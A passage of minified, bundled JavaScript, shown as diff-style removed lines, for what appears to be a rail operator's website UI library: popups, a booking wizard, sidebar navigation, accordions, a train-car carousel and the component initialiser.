} - t.PopupTrigger = s.default; - t.default = r.default - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = m(n); - var a = i(1); - var s = m(a); - var o = i(4); - var l = m(o); - var u = i(5); - var d = m(u); - var f = i(117); - var c = m(f); - var h = i(2); - - function m(e) { - return e && e.__esModule ? e : { - default: e - } - } - var p = function (e) { - (0, d.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e)); - n.el = e; - n.el.addEventListener("click", function (t) { - t.preventDefault(); - var i = document.getElementById(e.getAttribute("data-content")); - if (!i) { - return - } - var n = new c.default(i, { - closeLabel: e.getAttribute("data-label-close") - }); - n.open() - }); - return n - } - return t - }(h.Component); - p.default_settings = { - attributes: false - }; - t.default = p - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(13); - var r = w(n); - var a = i(3); - var s = w(a); - var o = i(1); - var l = w(o); - var u = i(6); - var d = w(u); - var f = i(4); - var c = w(f); - var h = i(5); - var m = w(h); - var p = i(7); - var v = i(69); - var _ = i(2); - var g = i(15); - var y = i(162); - var b = w(y); - - function w(e) { - return e && e.__esModule ? e : { - default: e - } - } - var M = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); - n.state = { - step: 0, - answers: [] - }; - n.popup = new b.default(e, { - className: "popup--wizard" - }); - n.initEvents(); - return n - }(0, d.default)(t, [{ - key: "initEvents", - value: function e() { - var t = this; - (0, p.on)(this.el, "click", ".js-wizard-close", function (e) { - e.preventDefault(); - t.popup.close() - }); - (0, p.on)(this.el, "click", ".js-wizard-next", function (e) { - t.state.step++; - t.setView(t.state.step); - t.settings.onNext(t.state.step, t) - }); - (0, p.on)(this.el, "click", ".js-wizard-back", function (e) { - t.state.step--; - t.setView(t.state.step); - t.settings.onPrev(t.state.step) - }); - (0, p.on)(this.el, "click", ".js-wizard-link", function (e, i) { - t.state.step = parseInt(i.getAttribute("data-step")); - t.setView(t.state.step) - }) - } - }, { - key: "setView", - value: function e(t) { - var i = this.el.querySelector(".wizard__questions"); - var n = (0, r.default)(this.el.querySelectorAll(".wizard__view")); - n.forEach(function (e) { - e.style.display = "none" - }); - i.style.display = t === 0 ? "none" : "block"; - n[t].style.display = "block"; - this.updateSteps(t) - } - }, { - key: "updateSteps", - value: function e(t) { - var i = this; - if (t === 0) { - return false - } - var n = (0, r.default)(this.el.querySelectorAll(".wizard__stepsitem")); - var a = this.el.querySelector(".wizard__steps"); - var s = this.el.querySelector(".wizard__stepslist"); - if ((0, g.getScreenSize)() == "sm") { - var o = n[0]; - var l = o.clientWidth; - v.TweenMax.set(s, { - x: (t - 1) * l * -1 - }) - } - n.forEach(function (e, n) { - var r = e.querySelector(".wizard__stepsanswer"); - (0, p.removeClass)(e, "active"); - (0, p.removeClass)(e, "done"); - if (n <= t - 1) { - (0, p.addClass)(e, "done"); - if (i.state.answers[n + 1]) { - r.innerHTML = i.state.answers[n + 1] - } - } - }); - (0, p.addClass)(n[t - 1], "active") - } - }, { - key: "setAnswer", - value: function e(t, i) { - this.state.answers[t] = i - } - }, { - key: "open", - value: function e() { - this.popup.open(); - this.setView(this.state.step) - } - }]); - return t - }(_.Component); - M.default_settings = { - attributes: false, - onNext: function e(t, i) {}, - onPrev: function e(t, i) {} - }; - t.default = M - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.getCurrentNavSidebarSelector = t.setCurrentNavSidebarContainer = t.getCurrentNavSidebarContainer = t.openNavSidebarMobile = t.toggleTitleIcon = t.ToggleMobileNavigationNavSidebar = t.changeMenuLinks = t.scrollFixedNavSidebar = t.default = undefined; - var n = i(58); - var r = m(n); - var a = i(13); - var s = m(a); - var o = i(166); - var l = m(o); - var u = i(7); - var d = h(u); - var f = i(167); - var c = m(f); - - function h(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function m(e) { - return e && e.__esModule ? e : { - default: e - } - } - var p = { - sidebarActiveState: "nav-sidebar__container--active", - sidebarActiveBlock: ".nav-sidebar__block--active", - header: ".nav-sidebar__header", - footer: ".nav-sidebar__footer", - noFixedFooter: "nav-sidebar--no-fixed-footer", - panel: ".js-panel", - panelOpenState: ".nav-sidebar-panel--open", - panelFixedOpenState: ".nav-sidebar-panel--fixed-open" - }; - var v = { - menu: "nav-sidebar--show-menu", - back: "nav-sidebar--show-back", - close: "nav-sidebar--show-close", - change: "nav-sidebar--show-change" - }, - _ = (0, l.default)(v).map(function (e) { - return e[1] - }); - var g = void 0, - y = void 0, - b = true; - var w = { - attributes: false, - sidebarHeight: 0, - sidebarBreakpointHeight: 820, - breakpointMobile: 992 - }; - var M = function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - C(); - (0, c.default)(".nav-sidebar__container"); - var n = void 0; - window.addEventListener("resize", function () { - clearTimeout(n); - n = setTimeout(function () { - C() - }, 150) - }) - }; - var k = function e(t, i) { - if (d.hasClass(i, "checked")) { - d.removeClass(i, "checked") - } else { - d.addClass(i, "checked") - } - }; - var L = function e(t) { - var i = d.get(".nav-sidebar__logo", S()); - d.removeClass(i, _); - d.addClass(i, v[t]) - }; - var T = function e(t) { - if (t) { - d.addClass(g, "nav-sidebar--open") - } else { - d.removeClass(g, "nav-sidebar--open") - } - }; - var x = function e(t) { - b = !(b && t) - }; - var S = function e() { - return d.get("." + p.sidebarActiveState) - }; - var Y = function e() { - return "." + p.sidebarActiveState - }; - var D = function e(t) { - (0, s.default)(d.get("." + p.sidebarActiveState, document, true)).forEach(function (e) { - d.removeClass(e, p.sidebarActiveState) - }); - if (t) { - d.addClass(t, p.sidebarActiveState) - } - }; - var E = function e() { - if (window.pageYOffset > w.sidebarHeight - window.innerHeight) { - d.addClass(g, "nav-sidebar__container--fixed-bottom") - } else { - d.removeClass(g, "nav-sidebar__container--fixed-bottom") - } - }; - var C = function e() { - var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; - g = S(); - if (window.innerWidth >= w.breakpointMobile) { - var i = window.innerHeight; - if (g && y) { - g.style.height = ""; - var n = d.get("" + p.panelFixedOpenState, g) || d.get("" + p.panelOpenState, g), - r = n && !t ? n.offsetHeight : 0, - a = 110; - (0, s.default)(["title", "content", "footer"]).forEach(function (e) { - var t = d.get(p.sidebarActiveBlock + " .nav-sidebar__" + e, g); - a += t ? t.offsetHeight : 0 - }); - w.activeSiderbarHeight = a; - w.sidebarHeight = Math.max(a, r, i); - g.style.height = w.sidebarHeight + "px"; - window.removeEventListener("scroll", E); - if (i >= w.sidebarHeight) { - d.removeClass(g, "nav-sidebar__container--fixed-bottom"); - d.addClass(g, ["nav-sidebar__container--fixed"]) - } else { - d.removeClass(g, ["nav-sidebar__container--fixed"]); - window.addEventListener("scroll", E, { - passive: false - }); - E() - } - } - } else { - if (g && y) { - g.style.height = ""; - window.removeEventListener("scroll", E); - d.removeClass(g, ["nav-sidebar__container--fixed-bottom", "nav-sidebar__container--fixed", "nav-sidebar--footer-bottom"]) - } - } - }; - var P = function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - i = (0, r.default)(w, i); - var n = [t]; - if (typeof t === "string") { - n = (0, s.default)(document.querySelectorAll(t)) - } else if (Array.isArray(t)) { - n = t - } - n.forEach(function (e) { - M(e, i) - }) - }; - t.default = P; - t.scrollFixedNavSidebar = C; - t.changeMenuLinks = L; - t.ToggleMobileNavigationNavSidebar = x; - t.toggleTitleIcon = k; - t.openNavSidebarMobile = T; - t.getCurrentNavSidebarContainer = S; - t.setCurrentNavSidebarContainer = D; - t.getCurrentNavSidebarSelector = Y - }, function (e, t, i) { - e.exports = { - default: i(444), - __esModule: true - } - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.reverseInlineSwitch = t.playInlineSwitch = t.setCurrentPanel = t.ClosePanelAnimation = t.default = undefined; - var n = i(13); - var r = d(n); - var a = i(7); - var s = u(a); - var o = i(165); - var l = i(69); - - function u(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function d(e) { - return e && e.__esModule ? e : { - default: e - } - } - var f = { - sidebar: ".nav-sidebar__container", - sidebarActiveBlock: ".nav-sidebar__block--active", - sidebarBlocks: ".nav-sidebar__container .nav-sidebar__block", - panelContent: ".js-panel-content", - panelExtraOptions: ".nav-sidebar-panel--extra", - panelInfo: ".nav-sidebar-panel--info", - arrowState: ".nav-sidebar-panel--arrow", - close: ".js-panel-close" - }; - var c = { - animationTimeSmall: .2, - animationTimeMedium: .3, - animationTimeLarge: .4, - animationTimeOutDelay: .2, - breakpointMobile: 992, - easing: l.Power2.easeInOut - }; - var h = void 0, - m = void 0, - p = ".nav-sidebar__block--active", - v = window.innerWidth >= c.breakpointMobile ? "large" : "small", - _ = void 0, - g = c.animationTimeSmall; - var y = function e(t) { - var i = b(); - (0, r.default)(document.querySelectorAll(t)).forEach(function (e) { - s.on(e, "click", f.close, function (e) { - if (s.hasClass(i, "nav-sidebar--panel") && !s.hasClass(i, "nav-sidebar--navigation")) k(e, o.scrollFixedSidebar) - }) - }); - window.addEventListener("resize", function (e) { - if (!s.hasClass(i, "nav-sidebar--panel") && !s.hasClass(i, "nav-sidebar--open")) { - return - } - if (window.innerWidth > c.breakpointMobile && v == "small") { - v = "large"; - l.TweenLite.set(_ + ", .nav-sidebar__block", { - clearProps: "all" - }); - if (s.hasClass(i, "nav-sidebar--panel")) { - (0, o.ToggleMobileNavigationNavSidebar)(); - s.addClass(i, "nav-sidebar--open") - } - L(e, _, o.scrollFixedSidebar, true); - return - } - if (window.innerWidth < 992 && v == "large") { - v = "small"; - if (!w(i, "planner") && s.hasClass(i, "nav-sidebar--panel")) { - (0, o.ToggleMobileNavigationNavSidebar)(); - s.addClass(i, "nav-sidebar--open"); - (0, o.changeMenuLinks)("back") - } - l.TweenLite.set(".nav-sidebar__block", { - clearProps: "all" - }); - T(e, _, p, true) - } - }) - }; - var b = function e() { - return s.get("" + f.sidebar) - }; - var w = function e(t, i) { - return s.hasClass(t, "nav-sidebar-panel--" + i) - }; - var M = function e() { - var t = s.get(f.arrowState, b(), true); - if (!t) { - return - }(0, r.default)(t).forEach(function (e) { - s.removeClass(e, f.arrowState.replace(".", "")) - }) - }; - var k = function e(t, i) { - t.preventDefault(); - var n = s.get(_); - if (m) { - (0, o.ToggleMobileNavigationNavSidebar)(false); - m.eventCallback("onReverseComplete", function () { - s.removeClass(n.closest(f.sidebar), ["nav-sidebar--panel"]); - s.removeClass(n, "nav-sidebar-panel--open"); - M(); - if (i) { - setTimeout(i, 1) - } - }); - m.reverse(0) - } else if (_) { - L(t, _, i, true) - } else { - i() - } - if (!t.noLockRemoval) { - s.removeClass(s.get("main"), "lock") - } - }; - var L = function e(t, i, n) { - var r = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : false; - t.preventDefault(); - M(); - if (_ !== i) { - k(t, function () { - D(i, n, r) - }) - } else { - D(i, n, r) - } - p = ".nav-sidebar__block--active" - }; - var T = function e(t, i, n) { - var r = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : false; - var a = arguments[4]; - if (i) { - L(t, i, o.scrollFixedSidebar, r) - } - p = n; - h = new l.TimelineLite; - if (a) { - h.eventCallback("onComplete", a) - } - x(n, r) - }; - var x = function e(t, i) { - if (t instanceof NodeList && typeof t[1] != "undefined") { - s.removeClass(b(), "nav-sidebar--hide-second"); - s.removeClass(t[0], f.sidebarActiveBlock.replace(".", "")); - s.addClass(t[1], f.sidebarActiveBlock.replace(".", "")); - h.set(t[0], { - xPercent: 0, - force3D: true - }); - h.set(t[1], { - xPercent: 102, - force3D: true - }); - h.to(t[0], c.animationTimeSmall, { - xPercent: -102, - force3D: true, - ease: c.easing - }); - h.to(t[1], c.animationTimeSmall, { - xPercent: 0, - force3D: true, - ease: c.easing - }, 0) - } else { - h.set(t, { - xPercent: 0, - force3D: true - }); - h.to(t, c.animationTimeSmall, { - xPercent: -102, - ease: c.easing - }) - } - if (i) { - h.progress(1) - } - }; - var S = function e(t, i) { - if (h) { - if (i) { - h.eventCallback("onReverseComplete", i) - } - h.reverse(0); - return - } - T(t, _, p, true, function () { - e(t, i) - }) - }; - var Y = function e(t) { - _ = t - }; - var D = function e(t, i) { - var n = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; - Y(t); - var r = s.get(_); - E(r.getAttribute("data-type")); - if (_ == f.panelExtraOptions || _ == f.panelInfo) { - var a = !s.hasClass(b(), "nav-sidebar--detail-panel") ? ["nav-sidebar--panel", "nav-sidebar--black-only-mobile"] : "nav-sidebar--panel"; - s.addClass(r.closest(f.sidebar), a) - } else { - s.addClass(r.closest(f.sidebar), "nav-sidebar--panel") - } - s.addClass(r, "nav-sidebar-panel--open"); - m = new l.TimelineLite; - if (window.innerWidth < 992) { - m.set(_, { - xPercent: 100 - }) - } else { - m.set(_, { - xPercent: -102 - }) - } - m.to(_, g, { - xPercent: 0, - opacity: 1, - ease: c.easing, - force3D: true - }, c.animationTimeOutDelay); - if (n) { - m.progress(1, false) - } - if (i) { - m.eventCallback("onComplete", i) - } - }; - var E = function e(t) { - g = c.animationTimeSmall; - c.animationTimeOutDelay = 0; - if (window.innerWidth < c.breakpointMobile) { - return - } - if (t == "large") { - g = c.animationTimeLarge - } else if (t == "medium") { - g = c.animationTimeMedium - } - }; - t.default = y; - t.ClosePanelAnimation = k; - t.setCurrentPanel = Y; - t.playInlineSwitch = T; - t.reverseInlineSwitch = S - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(114); - var r = y(n); - var a = i(3); - var s = y(a); - var o = i(1); - var l = y(o); - var u = i(6); - var d = y(u); - var f = i(4); - var c = y(f); - var h = i(5); - var m = y(h); - var p = i(7); - var v = i(69); - var _ = i(2); - var g = i(15); - - function y(e) { - return e && e.__esModule ? e : { - default: e - } - } - var b = 32; - var w = 13; - var M = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e)); - n.state = { - isOpen: false - }; - n.el = e; - n.content = e.querySelector(".accordion__content"); - n.icon = e.querySelector(".accordion__icon"); - n.trigger = e.querySelector(".accordion__trigger"); - if (n.trigger) { - n.trigger.setAttribute("aria-expanded", false) - } - n.bindEvents(); - return n - }(0, d.default)(t, [{ - key: "bindEvents", - value: function e() { - this.handleToggle = this.handleToggle.bind(this); - this.handleKeyDown = this.handleKeyDown.bind(this); - if (this.trigger) { - this.trigger.addEventListener("click", this.handleToggle); - this.trigger.addEventListener("keydown", this.handleKeyDown) - } - } - }, { - key: "handleKeyDown", - value: function e(t) { - var i = t.keyCode || t.which; - if (i === b || i === w) { - t.preventDefault(); - this.handleToggle(true) - } - } - }, { - key: "handleToggle", - value: function e(t) { - if (this.state.isOpen) { - this.close(t) - } else { - this.open(t) - } - } - }, { - key: "open", - value: function e(t) { - var i = this; - this.content.style.height = "auto"; - this.content.style.visibility = "hidden"; - this.content.style.display = "block"; - this.content.style.position = "absolute"; - this.content.style.overflow = "hidden"; - this.trigger.setAttribute("aria-expanded", true); - var n = this.content.offsetHeight; - this.content.style.position = "relative"; - this.content.style.visibility = "visible"; - this.content.style.height = 0; - v.TweenMax.to(this.content, .25, { - height: n, - onComplete: function e() { - i.content.style.height = "auto"; - t && i.scrollVisible() - } - }); - if (this.icon) { - v.TweenMax.set(this.icon, { - rotation: 90 - }) - } - this.state = (0, r.default)({}, this.state, { - isOpen: true - }) - } - }, { - key: "scrollVisible", - value: function e() { - var t = document.documentElement; - var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); - var n = this.el.getBoundingClientRect(), - r = n.top, - a = n.height; - var s = r + i + a; - if (a >= window.innerHeight) { - var o = document.body.classList.contains("cookied") ? document.querySelector(".cookie-notice").getBoundingClientRect() : document.querySelector(".navigation-bar").getBoundingClientRect(), - l = o.height; - var u = l; - window.scrollTo(0, i + r - u) - } else if (s > window.innerHeight + i) { - window.scrollTo(0, s - window.innerHeight + 20) - } - } - }, { - key: "close", - value: function e(t) { - var i = this; - v.TweenMax.to(this.content, .25, { - height: 0, - onComplete: function e() { - i.content.style.display = "none" - } - }); - if (this.icon) { - v.TweenMax.set(this.icon, { - rotation: 0 - }) - } - this.trigger.setAttribute("aria-expanded", false); - this.state = (0, r.default)({}, this.state, { - isOpen: false - }) - } - }]); - return t - }(_.Component); - M.default_settings = { - attributes: false - }; - t.default = M - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(13); - var r = p(n); - var a = i(1); - var s = p(a); - var o = i(6); - var l = p(o); - var u = i(7); - var d = m(u); - var f = i(69); - var c = i(453); - var h = p(c); - - function m(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function p(e) { - return e && e.__esModule ? e : { - default: e - } - } - var v = function () { - function e(t) { - var i = this; - (0, s.default)(this, e); - this.el = t; - this.carsContainer = this.el.querySelector(".train-details-visual"); - this.carsList = this.carsContainer.querySelector("ol"); - this.cars = (0, r.default)(this.carsContainer.querySelectorAll("li")); - this.carsLength = this.cars.reduce(function (e, t) { - return e + t.offsetWidth - }, 0); - var n = (0, r.default)(this.el.querySelectorAll(".train-details-visual-nav a")); - var a = n[0]; - var o = n[1]; - this.nudgeStep = 120; - this.currentEl = 0; - this.startX = 0; - a.addEventListener("click", this.goLeft.bind(this)); - o.addEventListener("click", this.goRight.bind(this)); - this.hammertime = new h.default(this.carsContainer, {}); - this.hammertime.on("panstart", function (e) { - i.startX = i.carsList.offsetLeft - }); - this.hammertime.on("panmove", function (e) { - var t = i.startX - 110 + e.deltaX; - var n = -110 - (i.carsLength - i.carsContainer.offsetWidth); - if (t < n) { - t = n - } - var r = 0; - if (t > r) { - t = r - } - i.carsList.style.left = t + "px" - }); - window.addEventListener("resize", this.onResize.bind(this)) - }(0, l.default)(e, [{ - key: "onResize", - value: function e() { - this.currentEl = 0; - this.nudge(); - this.decideNav() - } - }, { - key: "goLeft", - value: function e(t) { - t.preventDefault(); - this.currentEl--; - if (this.currentEl < 0) { - this.currentEl = 0 - } - this.nudge(); - return false - } - }, { - key: "goRight", - value: function e(t) { - t.preventDefault(); - if (this.carsLength - this.nudgeAmount() + this.nudgeStep < this.el.offsetWidth) { - return false - } - this.currentEl++; - if (this.currentEl > this.cars.length - 1) { - this.currentEl = this.cars.length - 1 - } - this.nudge(); - return false - } - }, { - key: "nudgeAmount", - value: function e() { - var t = this.currentEl > 0 ? 145 + (this.currentEl - 1) * this.nudgeStep : 0; - t += this.currentEl * 2; - return t - } - }, { - key: "nudge", - value: function e() { - f.TweenMax.to(this.carsList, .25, { - left: this.nudgeAmount() * -1 - }) - } - }, { - key: "decideNav", - value: function e() { - if (this.carsLength <= this.el.offsetWidth) { - this.el.querySelector(".train-details-visual-nav").classList.add("display-none") - } else { - this.el.querySelector(".train-details-visual-nav").classList.remove("display-none") - } - } - }]); - return e - }(); - t.default = v - }, function (e, t, i) { - i(171); - i(172); - i(173); - i(174); - i(175); - i(176); - i(177); - i(178); - i(179); - i(180); - i(181); - i(182); - i(183); - i(184); - i(185); - i(186); - i(187); - i(188); - i(189); - i(190); - i(191); - i(192); - i(193); - i(194); - i(195); - i(196); - i(197); - i(198); - i(199); - i(200); - i(201); - i(202); - i(203); - i(204); - i(205); - i(206); - i(207); - i(208); - i(209); - i(210); - i(211); - i(212); - i(213); - i(214); - i(215); - i(216); - i(217); - i(218); - i(219); - i(220); - i(221); - i(222); - i(223); - i(224); - i(225); - i(226); - i(227); - i(228); - i(229); - i(230); - i(231); - i(232); - i(233); - i(234); - i(235); - i(236); - i(237); - i(238); - i(239); - i(240); - i(241); - i(242); - i(243); - i(244); - i(245); - i(246); - i(247); - i(248); - i(249); - i(250); - i(251); - i(252); - i(253); - i(254); - i(255); - i(256); - i(257); - e.exports = i(258) - }, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.TrainDetail = t.Wizard = t.TooltipTrigger = t.TimeTable = t.TimePicker = t.Ticket = t.TeaserList = t.Tabs = t.SwitchPrice = t.Switch = t.Sidebar = t.Select = t.RouteSearch = t.CartDropdown = t.RouteTypeInput = t.PopupTrigger = t.Popup = t.PageNotice = t.NumericInputField = t.Navigation = t.InputField = t.Icons = t.HighlightBlockCarousel = t.FooterAccordion = t.Dropdown = t.DirectionsInput = t.DatePicker = t.CookieNotice = t.Checkbox = t.AmountPicker = t.Alert = t.Accordion = t.default = undefined; - var n = i(13); - var r = Te(n); - i(274); - i(275); - i(280); - i(281); - i(282); - i(283); - i(284); - i(285); - i(286); - i(287); - i(288); - i(290); - i(291); - i(292); - i(293); - i(294); - i(296); - i(297); - i(298); - i(299); - i(300); - i(301); - i(302); - i(303); - i(304); - i(305); - i(306); - i(307); - i(311); - i(314); - i(315); - i(316); - i(317); - i(318); - i(319); - i(320); - i(321); - i(322); - i(323); - i(324); - i(325); - i(327); - i(328); - i(329); - i(330); - i(331); - i(333); - i(334); - i(335); - i(336); - i(337); - i(339); - i(340); - i(341); - i(342); - i(343); - i(344); - i(345); - i(346); - i(347); - i(348); - i(102); - i(349); - i(350); - i(351); - i(352); - i(353); - i(354); - i(355); - i(356); - i(357); - i(358); - i(359); - i(360); - i(361); - i(362); - i(363); - i(365); - i(366); - i(367); - i(368); - i(369); - i(370); - i(371); - i(372); - i(373); - i(374); - i(375); - i(376); - i(377); - i(378); - i(379); - i(380); - i(381); - i(382); - i(383); - i(384); - i(386); - i(387); - var a = i(2); - var s = i(411); - var o = Te(s); - var l = i(153); - var u = Te(l); - var d = i(424); - var f = Te(d); - var c = i(155); - var h = Te(c); - var m = i(425); - var p = Te(m); - var v = i(426); - var _ = Te(v); - var g = i(427); - var y = Te(g); - var b = i(428); - var w = Te(b); - var M = i(429); - var k = Te(M); - var L = i(430); - var T = Te(L); - var x = i(431); - var S = Te(x); - var Y = i(160); - var D = Te(Y); - var E = i(162); - var C = Te(E); - var P = i(441); - var A = Te(P); - var O = i(443); - var j = Te(O); - var H = i(447); - var I = Te(H); - var F = i(448); - var z = Te(F); - var R = i(449); - var N = Te(R); - var W = i(451); - var B = Te(W); - var q = i(452); - var $ = Te(q); - var V = i(169); - var G = Te(V); - var U = i(454); - var X = Te(U); - var J = i(168); - var K = Te(J); - var Q = i(455); - var Z = Te(Q); - var ee = i(456); - var te = Te(ee); - var ie = i(457); - var ne = Te(ie); - var re = i(461); - var ae = Te(re); - var se = i(462); - var oe = Te(se); - var le = i(463); - var ue = i(464); - var de = Te(ue); - var fe = i(465); - var ce = Te(fe); - var he = i(466); - var me = Te(he); - var pe = i(467); - var ve = Te(pe); - var _e = i(468); - var ge = Te(_e); - var ye = i(471); - var be = Te(ye); - var we = i(472); - var Me = Te(we); - var ke = i(157); - var Le = Te(ke); - - function Te(e) { - return e && e.__esModule ? e : { - default: e - } - } - console && console.log && console.log({ - VERSION: "0.74.0", - PRODUCTION: true, - "process.env": Object({ - NODE_ENV: "production" - }) - }); - var xe = function e() { - (0, j.default)(".nav-sidebar--navigation"); - (0, z.default)(".sidebar"); - (0, a.init)(T.default, "#js-cart-dropdown"); - (0, a.init)(K.default, ".js-accordion"); - (0, a.init)(X.default, ".alert"); - (0, a.init)(w.default, ".js-amountpicker"); - (0, a.init)(k.default, ".chk"); - (0, a.init)(me.default, ".js-cookie-notice"); - (0, a.init)(D.default, ".js-datepicker"); - (0, a.init)(te.default, ".js-directions-input"); - (0, a.init)($.default, ".js-dropdown"); - (0, a.init)(B.default, ".js-footer-accordion"); - (0, a.init)(le.HighlightBlockCarousel, ".js-highlight-block-carousel"); - (0, a.init)(u.default, ".js-input"); - (0, a.init)(f.default, ".input-numeric"); - (0, a.init)(ve.default, ".js-page-notice"); - (0, a.init)(E.PopupTrigger, ".js-popup-trigger"); - (0, a.init)(I.default, ".js-navigation-search"); - (0, a.init)(Z.default, ".js-route-type-input"); - (0, a.init)(h.default, ".js-select"); - (0, a.init)(p.default, ".js-switch"); - (0, a.init)(_.default, ".js-switch-price"); - (0, a.init)(ce.default, ".js-tabs"); - (0, a.init)(ge.default, ".js-teaser-list"); - (0, a.init)(de.default, ".js-ticket"); - (0, a.init)(S.default, ".js-quotes"); - (0, a.init)(y.default, ".js-timepicker"); - (0, a.init)(ne.default, ".js-route-search"); - (0, a.init)(ae.default, ".js-time-table"); - (0, a.init)(N.default, ".tooltip-trigger"); - (0, a.init)(oe.default, ".route-planner"); - (0, a.init)(be.default, ".radio"); - (0, a.init)(be.default, ".checkbox"); - (0, a.init)(Me.default, ".js-timeout-modal"); - (0, r.default)(document.querySelectorAll("svg:not([focusable])")).forEach(function (e) { - e.setAttribute("focusable", false) - }); - (0, Le.default)(); - var t = new CustomEvent("NMBSLibraryInited"); - document.dispatchEvent(t) - }; - if (!(document.documentElement.hasAttribute("data-init") && document.documentElement.getAttribute("data-init") == "off")) { - if (document.readyState === "loading") { - document.addEventListener("DOMContentLoaded", xe) - } else { - xe() - } - } - t.default = a.init; - t.Accordion = K.default; - t.Alert = X.default; - t.AmountPicker = w.default; - t.Checkbox = k.default; - t.CookieNotice = me.default; - t.DatePicker = D.default; - t.DirectionsInput = te.default; - t.Dropdown = $.default; - t.FooterAccordion = B.default; - t.HighlightBlockCarousel = le.HighlightBlockCarousel; - t.Icons = o.default; - t.InputField = u.default; - t.Navigation = j.default; - t.NumericInputField = f.default; - t.PageNotice = ve.default; - t.Popup = C.default; - t.PopupTrigger = E.PopupTrigger; - t.RouteTypeInput = Z.default; - t.CartDropdown = T.default; - t.RouteSearch = ne.default; - t.Select = h.default; - t.Sidebar = z.default; - t.Switch = p.default; - t.SwitchPrice = _.default; - t.Tabs = ce.default; - t.TeaserList = ge.default; - t.Ticket = de.default; - t.TimePicker = y.default; - t.TimeTable = ae.default; - t.TooltipTrigger = N.default; - t.Wizard = A.default; - t.TrainDetail = G.default - }, function (e, t, i) { - i(118); - i(267); - e.exports = i(14).Array.from - }, function (e, t, i) { - var n = i(80); - var r = i(81); - e.exports = function (e) { - return function (t, i) { - var a = String(r(t)); - var s = n(i); - var o = a.length; - var l, u; - if (s < 0 || s >= o) return e ? "" : undefined; - l = a.charCodeAt(s); - return l < 55296 || l > 56319 || s + 1 === o || (u = a.charCodeAt(s + 1)) < 56320 || u > 57343 ? e ? a.charAt(s) : l : e ? a.slice(s, s + 2) : (l - 55296 << 10) + (u - 56320) + 65536 - } - } - }, function (e, t) { - e.exports = function (e) { - if (typeof e != "function") throw TypeError(e + " is not a function!"); - return e - } - }, function (e, t, i) { - "use strict"; - var n = i(84); - var r = i(60); - var a = i(89); - var s = {}; - i(44)(s, i(21)("iterator"), function () { - return this - }); - e.exports = function (e, t, i) { - e.prototype = n(s, { - next: r(1, i) - }); - a(e, t + " Iterator") - } - }, function (e, t, i) { - var n = i(30); - var r = i(45); - var a = i(48); - e.exports = i(34) ? Object.defineProperties : function e(t, i) { - r(t); - var s = a(i); - var o = s.length; - var l = 0; - var u; - while (o > l) n.f(t, u = s[l++], i[u]); - return t - } - }, function (e, t, i) { - var n = i(31); - var r = i(125); - var a = i(265); - e.exports = function (e) { - return function (t, i, s) { - var o = n(t); - var l = r(o.length); - var u = a(s, l); - var d; - if (e && i != i) - while (l > u) { - d = 